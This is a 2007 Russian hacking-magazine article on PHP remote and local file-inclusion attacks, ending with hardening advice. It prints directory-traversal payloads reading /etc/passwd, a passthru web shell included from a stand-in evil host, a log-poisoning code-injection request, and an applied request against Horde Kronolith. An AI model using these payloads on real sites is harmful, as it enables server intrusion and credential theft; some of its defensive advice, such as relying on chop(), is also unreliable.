Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #75, ФЕВРАЛЬ 2007 г.

RFI-эксплойт своими руками

АНДРЕЙ СЕМЕНЮЧЕНКО

Хакер, номер #075, стр. 016


SEMUHA@MAIL.RU

ТОНКОСТИ УДАЛЕННОГО/ЛОКАЛЬНОГО PHP-ИНКЛЮДИНГА

НЕСМОТРЯ НА ТО, ЧТО ЭКСПЛОЙТЫ УДАЛЕННОГО ВКЛЮЧЕНИЯ ФАЙЛОВ ЧРЕЗВЫЧАЙНО РАСПРОСТРАНЕНЫ, ДОВОЛЬНО ПРОСТЫ ДЛЯ ПРИМЕНЕНИЯ И ОЧЕНЬ ОПАСНЫ, МНОЖЕСТВО ПРОГРАММИСТОВ ПО-ПРЕЖНЕМУ СОВЕРШАЮТ ТИПИЧНЫЕ ОШИБКИ ПРИ РАЗРАБОТКЕ WEB-ПРИЛОЖЕНИЙ, ОСТАВЛЯЯ ЛАЗЕЙКИ ДЛЯ УШЛЫХ ХАКЕРОВ. В ДАННОЙ СТАТЬЕ МЫ ПОПЫТАЕМСЯ НЕ ТОЛЬКО ПОКАЗАТЬ, КАК ЗЛОУМЫШЛЕННИКИ ПОЛЬЗУЮТСЯ ПРЕИМУЩЕСТВОМ ОШИБОК КОДИНГА С ЦЕЛЬЮ НАРУШЕНИЯ КОНФИДЕНЦИАЛЬНОСТИ ИНФОРМАЦИИ, НО И НАУЧИМСЯ ЗАЩИЩАТЬ WEB-ПРИЛОЖЕНИЕ, ИЗБЕГАЯ РАСПРОСТРАНЕННЫХ ОШИБОК

[анализ жертвы.]

С чего же начать новоиспеченному хакеру, желающему прославиться, захватить власть во всем мире или просто подзаработать? Начать следует с поиска и анализа жертвы. Прежде чем пытаться атаковать какой либо web-портал нужно собрать информацию, необходимую и достаточную для его взлома.

Информацию можно разбить на категории по последовательности производимых действий.

Вот они:

1 Проверка того, использует ли сайт-жертва свои собственные скрипты или уже написанные кем-то сценарии.

- Если сценарии кем-то уже написаны, то есть являются общедоступными, то ищем существующий эксплойт на целевое приложение. Вероятность существования эксплойта под какое либо приложение пропорционально популярности данного приложения.

- В случае самописных скриптов необходимо получить исходный код целевого приложения, для самостоятельной проверки на наличие багов.

2 Рассмотрение сценариев, требующих ввод данных пользователя.

- Проверить, работает ли браузинг директорий.

- Проверить на существование и доступность общепринятые файлы и директории (/etc, /bin, /sbin, /etc/resolv.conf, /etc/services, /etc/passwd и так далее).

3 Выяснение того, как сценарии обрабатывают вводимые данные. Это может быть:

- запись в базы данных или файлы;

- вывод данных обратно пользователю;

- выполнение команд.

4 Выяснение того, как приложения фильтруют вводимые данные. Попытаться обойти эти фильтры.

5 Использование универсального web-фильтра Proxomitron или подобной утилиты, позволяющей просматривать HTTP-заголовки сообщений.

6 Использование Google для сбора информации.

Последний пункт можно рассматривать отдельно от приведенной классификации, поскольку он по праву заслуживает особого внимания.

[Google как инструмент хакинга.]

Как известно, если нужно что-то найти - google it! Этот принцип можно отнести и к поиску уязвимых web-приложений.

Попробуем ввести в строку поиска Google запрос типа: inurl:"index.php?page=".

Данный запрос дает понять поисковому движку, что мы запрашиваем любую страницу, содержащую строку «index.php?page=» в каком-либо url. Таким образом, результатом поиска будут страницы, содержащие искомую строку, вне зависимости от того, какое значение передается параметру «page».

Отлично, потенциальные жертвы обнаружены. Теперь надо выделить целевые сайты. Хорошей проверкой того, является ли web-сайт действительно уязвимым, будет, например, присвоение значения www.google.com параметру «page».

www.site.com/index.php?page=www.google.com

В итоге, если вместо данных проверяемого сайта появляется страничка google.com, web-сайт уязвим.

[разбор и редактирование исходников Web страниц]

Иногда бывает полезно просмотреть исходный код web-страницы. Обычно это можно сделать через контекстное меню страницы «Правый клик (Right Click)»-> «Просмотр исходного кода страницы (View Source)» или через меню «Вид (View)» пункта «Исходный текст страницы (Source)». Правда, таким способом можно просмотреть только исходные коды HTML-страниц. Код web-приложений, написанных на PHP, Perl, ASP и других интерпретируемых языках увидеть нельзя, поскольку он выполняется на стороне сервера, а на страницу выводятся только результаты работы сценария. Таким образом, можно лишь попытаться найти уязвимость, позволяющую получить содержимое того или иного файла.

Рассмотрим пример того, как можно изменять параметры элементов web-страницы. Предположим, мы зашли на страницу, содержащую форму для ввода имени и пароля пользователя. Открыв текст страницы, увидим примерно следующее:

ЛИСТИНГ

<form name="form_name" action="/[path]/index.php" method="post"

<input type="text" value="" name="user" maxlength="15" size="25" />

<input type="text" value="" name="pass" size="25" disabled/>

<input type="submit" value="Login" />

</form>

Как видно, поле, предназначенное для ввода паролей, имеет свойство «disabled». Но что если мы хотим поиграть с атрибутами данного поля и понаблюдать за реакцией сценария на изменение значений данных атрибутов? Для этого нужно сохранить страницу для доступа в оффлайне, затем открыть ее в любимом редакторе и установить нужные значения атрибутов. Необходимо также заменить все относительные пути в коде страницы на абсолютные, иначе сценарий для обработки запросов index.php не будет найден.

В результате мы получим примерно следующий код:

ЛИСТИНГ

<form name="form" action="http://site_name.com/[path]/index.php" method="post"

<input type="text" value="" name="user" maxlength="10" size="20" />

<input type="text" value="" name="pass" size="20" />

<input type="submit" value="Login" />

</form>

Теперь осталось лишь сохранить страницу, заполнить данные формы, отправить их серверу и ждать ответа. По реакции сервера на запросы можно узнать много интересного о работе целевого web-приложения :). Даже возвращаемые сообщения об ошибках могут содержать действительно полезные сведения, такие как пути и названия сценариев.

ДОБРЫЙ ИНСПЕКТОР

В СТАТЬЕ МЫ РАССМОТРЕЛИ ВОЗМОЖНОСТЬ МОДИФИКАЦИИ ИСХОДНЫХ ТЕКСТОВ СТРАНИЦЫ, ПУТЕМ СОХРАНЕНИЯ ТЕКСТОВ И ИХ ИЗМЕНЕНИЯ В ОФФЛАЙНЕ. ПРИ ИСПОЛЬЗОВАНИИ ПРОДВИНУТЫХ WEB-БРАУЗЕРОВ, ТАКИХ КАК FIREFOX, СУЩЕСТВУЕТ БОЛЕЕ ПРОСТОЙ МЕТОД РЕШЕНИЯ ДАННОЙ ПРОБЛЕМЫ. ИМЯ ЕМУ DOM INSPECTOR (TOOLS-> WEB DEVELOPMENT-> DOM INSPECTOR).

ПРИ ИСПОЛЬЗОВАНИИ DOM-ИНСПЕКТОРА, ВСЕ, ЧТО НАМ НУЖНО, - ЭТО ОТКРЫТЬ ПОДОПЫТНУЮ СТРАНИЦУ.

В РЕЗУЛЬТАТЕ ВНИЗУ ОКНА БРАУЗЕРА DOM-ИНСПЕКТОРА РАСКРОЕТСЯ СТРАНИЦА.

СЛЕВА ВВЕРХУ ОКНА DOM-ИНСПЕКТОРА ПОЯВИТСЯ СТРУКТУРА ИССЛЕДУЕМОЙ СТРАНИЦЫ.

НАЖИМАЯ НА КНОПКУ СО СТРЕЛКОЙ-УКАЗАТЕЛЕМ СЛЕВА НА ПАНЕЛИ ИНСТРУМЕНТОВ DOM-ИНСПЕКТОРА И КЛИКАЯ ПО ИНТЕРЕСУЮЩЕМУ НАС ЭЛЕМЕНТУ ИССЛЕДУЕМОЙ СТРАНИЦЫ, МОЖНО ЛЕГКО ПЕРЕДВИГАТЬСЯ И ИЗМЕНЯТЬ НУЖНЫЕ ТЕГИ И ИХ АТРИБУТЫ.

ПОВЕДЕНИЕ МНОГИХ ФУНКЦИЙ ЗАВИСИТ ОТ НАСТРОЕК В PHP.INI, ПОЭТОМУ ТЩАТЕЛЬНО ПРОВЕРЯЙТЕ ЭТОТ ФАЙЛ ПЕРЕД ИСПОЛЬЗОВАНИЕМ КАКОЙ ЛИБО НОВОЙ ФУНКЦИИ

[Сильные и слабые стороны PHP.]

Web-приложения могут быть написаны на различных языках программирования. Наиболее популярными языками являются .ASP (Active Server Pages), .PHP (PHP Hypertext Preprocessor) и .PL (Perl). Мы сфокусируем свое внимание на PHP-базируемых приложениях ввиду их распространенности и популярности.

PHP является интерпретируемым языком. Популярность PHP объясняется простотой и быстротой написания приложений для различных целей. PHP включает тысячи внутренних функций для реализации любых возможностей. Поэтому область применения PHP ограничена только твоей фантазией. Такой широкий набор инструментария является главным активом и, одновременно, большой слабостью PHP ввиду того, что неаккуратное использование некоторых функций приводит к нежелательным эффектам.

Эксплуатирование нашумевших RFI-эксплойтов возможно благодаря наличию в PHP четырех функций: include(), include_once(), require(), require_once(). Все они включают код сторонних сценариев и выполняют его, но каждая функция имеет свои нюансы.

[include()/require()]

Функция include() считывает заданный файл и интерпретирует его содержимое как PHP-код. Действия функций include() и require() идентичны за исключением того, как они обрабатывают ошибки. В случае неудачи include() возвращает предупреждение (Warning), в то время как результатом require() в этом случае будет возвращение фатальной ошибки (Fatal Error). Таким образом, при необходимости прервать обработку страницы в случае невозможности включить искомый файл, нужно пользоваться функцией require(). При использовании include() в случае ошибки сценарий продолжит выполнение.

Конфигурационная директива include_path указывает список директорий, в которых функции require() и include() ищут файлы. Формат соответствует формату переменной окружения PATH используемой системы: список директорий, разделенных двоеточием в Unix или точкой с запятой в Windows.

Сперва система ищет файлы в пути include_path относительно текущей директории, а затем - в include_path относительно директории текущего скрипта. Например, если include_path имеет значение «.», текущая рабочая директория /www/, рабочий сценарий include/a.php и в этом сценарии мы осуществляем включение include "sample2.php", то система будет искать sample2.php сначала в /www/, а затем в /www/include/. Если имя файла начинается с ./ или ../, он ищется только в include_path относительно текущей директории.

Когда происходит включение файла, код, содержащийся в этом файле, наследует переменные, предопределенные до строки, на которой происходит включение. Любые переменные, доступные в этой строке в вызывающем файле, будут доступны внутри вызываемого файла. Отметим, что все функции и классы, определенные во включенном файле, имеют глобальную область видимости.

[include_once()/require_once().]

Include_once() включает и выполняет указанный файл во время выполнения скрипта. Данное поведение напоминает описанное ранее поведение функции include(), с единственным отличием, заключающимся в следующем условии: если код файла уже был включен, он не будет включен снова. Таким образом, код включаемого файла выполнится лишь раз. Отличие require_once() от include_once() аналогично отличию функций include() и require(). Данными функциями следует пользоваться, чтобы избежать проблем, связанных с переопределением функций и переназначением значений переменных.

[register_globals.]

Каждый пользователь, интересующийся эксплойтами и посещающий багтрак, хотя бы раз видел фразу: «Эксплуатирование уязвимости требует включения опции register_globals в конфигурационном файле PHP». Давай разберемся, что это за опция и с чем ее едят.

Рассмотрим пример, состоящий из трех файлов:

ЛИСТИНГ

Файл sample1.php:

<?php

$var1=”sample3”;

Include(“sample2.php”);

echo “hello”;

#…some code ..;

?>

Файл sample2.php:

<?php

Include($var1.“.php”);

#…some code ..;

?>

Файл sample3.php:

<?php

#…some code ..;

?>

Как видно, файл sample1.php включает sample2.php, а файл sample2.php включает sample3.php.

Файл sample1.php устанавливает переменную $var1 до вызова sample2.php. Затем в sample2.php включается файл вне зависимости от того, какое значение имеет $var1. Проблема данного кода в следующем: он не учитывает, что кто-то может получить доступ напрямую к sample2.php.

Проблема проявит себя, если в конфигурационном файле PHP включена директива register_globals. Включение данной директивы означает, что любая переменная может быть установлена через запрос пользователя. Переменная $var1 установлена до использования в sample2.php, но если кто-то получит доступ в sample2.php первым (до sample1.php) и свойство register_globals будет включено, то значение переменной $var1 может быть изменено через пользовательский запрос.

К примеру, если web-приложение доступно по ссылке www.vul_site.com/sample1.php, все, что нам нужно сделать, - это перейти по адресу www.vul_site.com/sample2.php и ,в зависимости от настроек в php.ini, мы, скорее всего, получим страницу с ошибкой, которая подскажет нам, что sample2.php ожидает некоторое значение для переменной $var1. А поскольку свойство register_globals включено, пользователь самостоятельно может инициализировать значение данной переменной через соответствующий запрос: www.vul_site.com/sample2.php?var1=any_file_name. Сценарий попытается подключить соответствующий искомый файл, в случае неудачи будет выдано сообщение об ошибке.

[magic_quotes_gpc.]

Итак, попытаемся извлечь пользу и подключить вместо валидного сценария, например, файл, содержащий хэши паролей пользователей /etc/passwd:

www.vul_site.com/sample2.php?var1=../../../../../../../etc/passwd.

Но в результате мы получим ошибку. Подключение файла не произойдет потому, что сценарий sample2.php дописывает в конце любого файла расширение «.php» и пытается получить доступ к ../../../../../../../etc/passwd.рhp, которого, естественно, не существует. Соответственно, если в своих «учебных» целях мы хотим использовать что-либо помимо PHP-сценариев, нужно избежать добавления окончания «.php». Решение проблемы лежит в файле php.ini и называется magic_quotes_gpc. Magic_quotes_gpc – это свойство, действия которого эквивалентны действию функции addslashes(). Данная функция возвращает сроку, в которой перед каждым спецсимволом (',",\ и NUL (байт NULL)) добавлен обратный слэш (\). Аббревиатура GPC расшифровывается как Get, Post, Cookie. Это значит, что по сути magic_quotes_gpc применяет функцию addslashes() ко всем вашим GET-, POST-, и COOKIE-данным.

Таким образом, если свойство magic_quotes_gpc установлено в «off», значит, существует возможность включения локальных файлов с нулевым байтом в конце имени файла. В PHP нулевой символ обозначается как «\n», что эквивалентно шестнадцатеричному значению «%00».

Таким образом, следующий запрос способен предоставить интересующий нас файл /etc/passwd: www.vul_site.com/sample2.php?var1=../../../../../../../etc/passwd%00

Отметим, что символы «../» aka «dot dot slash» являются спецификаторами обхода директорий (Directory Traversal Specifiers) и служат для доступа к файлам вне текущей директории.

Точно так же можно включать удаленные файлы, содержащие злонамеренный код.

Предположим, мы хотим включить удаленный файл evilscript.php следующего содержания:

<?php

passthru($_GET[cmd]);

?>

Команда passthru() в PHP выполняет указанные команды на сервере. Переменная $_GET ждет указания команды и ее параметров в запросе пользователя.

В результате мы можем получить файл с паролями пользователей уже другим способом, используя удаленный сценарий evilscript.php и явно указав нужную команду в строке запроса:

http://localhost/index.php?page=http://someevilhost.com/evilscript.php?

cmd=cat /etc/passwd

[инжектирование сценария в лог-файлы.]

Иногда возникает ситуация, когда администратор сайта с помощью некоторых настроек запрещает подключать удаленные файлы. Например, установка опции allow_url_fopen в значение «off» запретит включать сценарии с удаленных ресурсов. Тем не менее, даже в этой ситуации остается возможность инжектировать собственный PHP-код в журнал регистрации событий. Для этого нужно составить HTTP-GET-запрос, содержащий в себе PHP-код, который необходимо выполнить.

Например:

ЛИСТИНГ

$CODE ='<?php ob_clean();echo

START;$_GET[cmd]=striplashes($_GET[cmd]);passthru($_GET[cmd]);echo START;die;?>';

$content.="GET /path/".$CODE." HTTP/1.1/n";

$content.="User-Agent: ".$CODE."/n";

$content.="Host: ".$host."/n";

$content.="Connection: close/n/n";

В результате PHP-код будет передан серверу через представленный запрос. Сервер зарегистрирует попытку доступа в своих логах. Это значит, что в файлах регистрации событий останется и наш PHP-код. После этого остается только получить доступ к журналам через локальное включение файлов. Выполнение лог-файла при включении ничем не отличается от выполнения PHP-сценария: лишний мусор будет отброшен, а функции PHP - выполнены. Таким образом, переданные команды будут выполнены без необходимости включения удаленного файла. Для выполнения данного эксплойта также необходимо включение опции register_globals и выключение опции magic_quotes_gpc.

[уязвимость в Horde Kronolith.]

На момент написания данной статьи одной из последних новостей на iDefence Labs была новость об уязвимости в web-календаре Horde Kronolith, позволяющей включить и выполнить произвольный локальный файл. В опубликованной новости рассматривается проблемный участок кода, но не приводится пример эксплуатирования уязвимости. Давай попытаемся проанализировать, насколько легко злоумышленник может составить эксплойт, имея перед глазами проблемный участок кода.

На сайте приводился следующий участок проблемного кода сценария 'lib/FBView.php':

ЛИСТИНГ

177 function &factory($view)

178 {

179 $driver = basename($view);

180 require_once dirname(__FILE__) . '/FBView/' . $view . '.php';

Как видно, уязвимость обнаружена в функции Kronolith_FreeBusy_View::factory, которая включает локальные файлы, переданные через 'view' HTTP-GET-параметр запроса. В строке 179 с помощью функции basename(string path [, string suffix]) осуществлена проверка вводимых данных. Данная функция возвращает имя файла, чей путь передается в качестве параметра. Если имя файла оканчивается на suffix, он также будет отброшен. Таким образом, используя функцию basename(), разработчики позаботились об обрезании возможных злонамеренных символов, содержащихся в переменной $view. Однако в строке 180 не используется результирующая переменная $driver. По невнимательности разработчик по-прежнему использует переменную $view при подключении файла. Используя символы обхода директорий (../) и нулевые байты (%00), атакующий может получить доступ к локальным файлам web-сервера.

В результате, для отображения все того же файла паролей, находящегося в файле /etc/passwd, через переменную $view нужно выполнить следующий запрос:

http://vul_site/path/lib/FBView.php?view=../../../../../../../../../etc/passwd%00.

Получается, что даже без явного эксплойта злоумышленнику не составляет труда разработать собственный вариант нападения по приводимым данным производителей или аналитиков безопасности о проблемных участках кода в программном обеспечении.

[защита web-приложения.]

Итак, сейчас мы уже знаем, как устроены LFI-/RFI-эксплойты и какие ошибки программистов они используют. Теперь нужно понять, как не дать удаленному злоумышленнику осуществить PHP-инклюдинг сценариев.

Самым простым примером, исключающим любую возможность инжектирования злонамеренного кода через URL, является отказ от использования переменной для хранения имени сценария. Вместо этого имя сценария нужно указывать явно.

Рассмотрим пример:

Пусть включение файла происходит следующим образом: require($page . "otherpage.php");. Мы уже знаем, что данный код потенциально уязвим.

Устраним уязвимость, явно указав сценарий: require("otherpage.php");.

Таким образом, в строке запроса вместо строки index.php?page=otherpage.php

мы получим совершенно безобидную строку, устраняющую возможность включения стороннего сценария: index.php?otherpage.php.

Но что если использование переменной жизненно необходимо для нашей программы? Чтобы быть уверенным, что никто не допишет в переменную злонамеренный код, необходимо избавиться от всех лишних символов в строке запроса, включая символ перевода строки "\n", символ пробела " ", символ табуляции "\t", символ возврата каретки "\r" и другие. Решить проблему поможет функция chop() (или ее псевдоним rtrim()), которая возвращает строку с удаленными спецсимволами с конца строки.

ЛИСТИНГ

Пример использования chop():

<a href=index.php?page=file1.php>Files</a>

<?php

$page = chop($_GET[page]);

include($page);

?>

Следует также учитывать, что в общем случае данные в базу будут вводиться непроверенными пользователями. И сразу после извлечения из базы - использоваться для генерации html-страниц, например, страницы гостевой книги. Для исключения потенциальной опасности использования тегов и команд javascript необходимо преобразовать хранимые данные с помощью функции PHP htmlspecialchars().

Также полезно использовать функции типа str_replace (mixed search, mixed replace, mixed subject [, int &count]), возвращающие строку или массив, в котором все вхождения search заменены на replace. Таким образом, str_replace() позволяет задать маску поиска опасных символов и при их нахождении выполнить соответствующую замену.

Также стоит запретить в PHP использование опасных функций, наподобие рассмотренной ранее passthru(), которая исполняет переданные ей команды с привилегиями запущенного web-сервера. Не забудем и про некоторые особенно критические опции в php.ini. По возможности, нужно выключить директивы register_globals и allow_url_fopen и включить директиву magic_quotes_gpc. Конечно, необходимо учитывать, что кто-то может использовать данную функциональность и в легитимных целях.

КРОМЕ УПОМЯНУТЫХ ФУНКЦИЙ CHOP() И HTMLSPECIALCHARS() СУЩЕСТВУЮТ МНОГИЕ ДРУГИЕ ФУНКЦИИ ПРЕОБРАЗОВАНИЯ СТРОК, ТАКИЕ КАК HTMLENTITIES() И STRIPSLASHES()

ОПИСАНИЕ РАССМОТРЕННЫХ В СТАТЬЕ ФУНКЦИЙ В РУССКОЯЗЫЧНОМ ВАРИАНТЕ ТЫ МОЖЕШЬ БЕЗ ТРУДА НАЙТИ НА САЙТЕ HTTP://RU.PHP.NET

[совет в дорогу]

Программируя, необходимо помнить, что неаккуратное использование функций require(), include() и им подобных может привести не только к интерпретированию PHP-кода на стороне сервера, но и ко многим другим атакам. Например, если файл, который должен быть включен, не существует, удаленный злоумышленник может провести XSS-нападение и выполнить Javascript-код в браузере пользователя-жертвы. Также отсутствие включаемого файла может повлечь за собой раскрытие конфиденциальной информации, полезной для хакера, через получение сообщения об ошибке. Поскольку синтаксис сообщения об ошибке для функции include() содержит вывод названия параметра и путь к сценарию:

ЛИСТИНГ

--------------------------

Warning: main(%parameter%): failed to open stream: No such file or directory in %path% on line %x%

Warning: main(): Failed opening '%parameter%' for inclusion (include_path='%path%') in %path%

on line %x%

--------------------------

То следующий код:

ЛИСТИНГ

<?php

if(!is_file("My_param".$_GET['filename'])){

...

}

?>

в случае невозможности обнаружить искомый файл, выдаст сообщение об ошибке, демонстрирующее хакеру целевой параметр и имя сценария:

Warning: main(): Failed opening My_param for inclusion (include_path=/whatever/path/filename.php) in /whatever/path/filename.php

on line 2

На этом наше повествование подходит к концу. Желаем удачи на ниве IT-безопасности :).

Содержание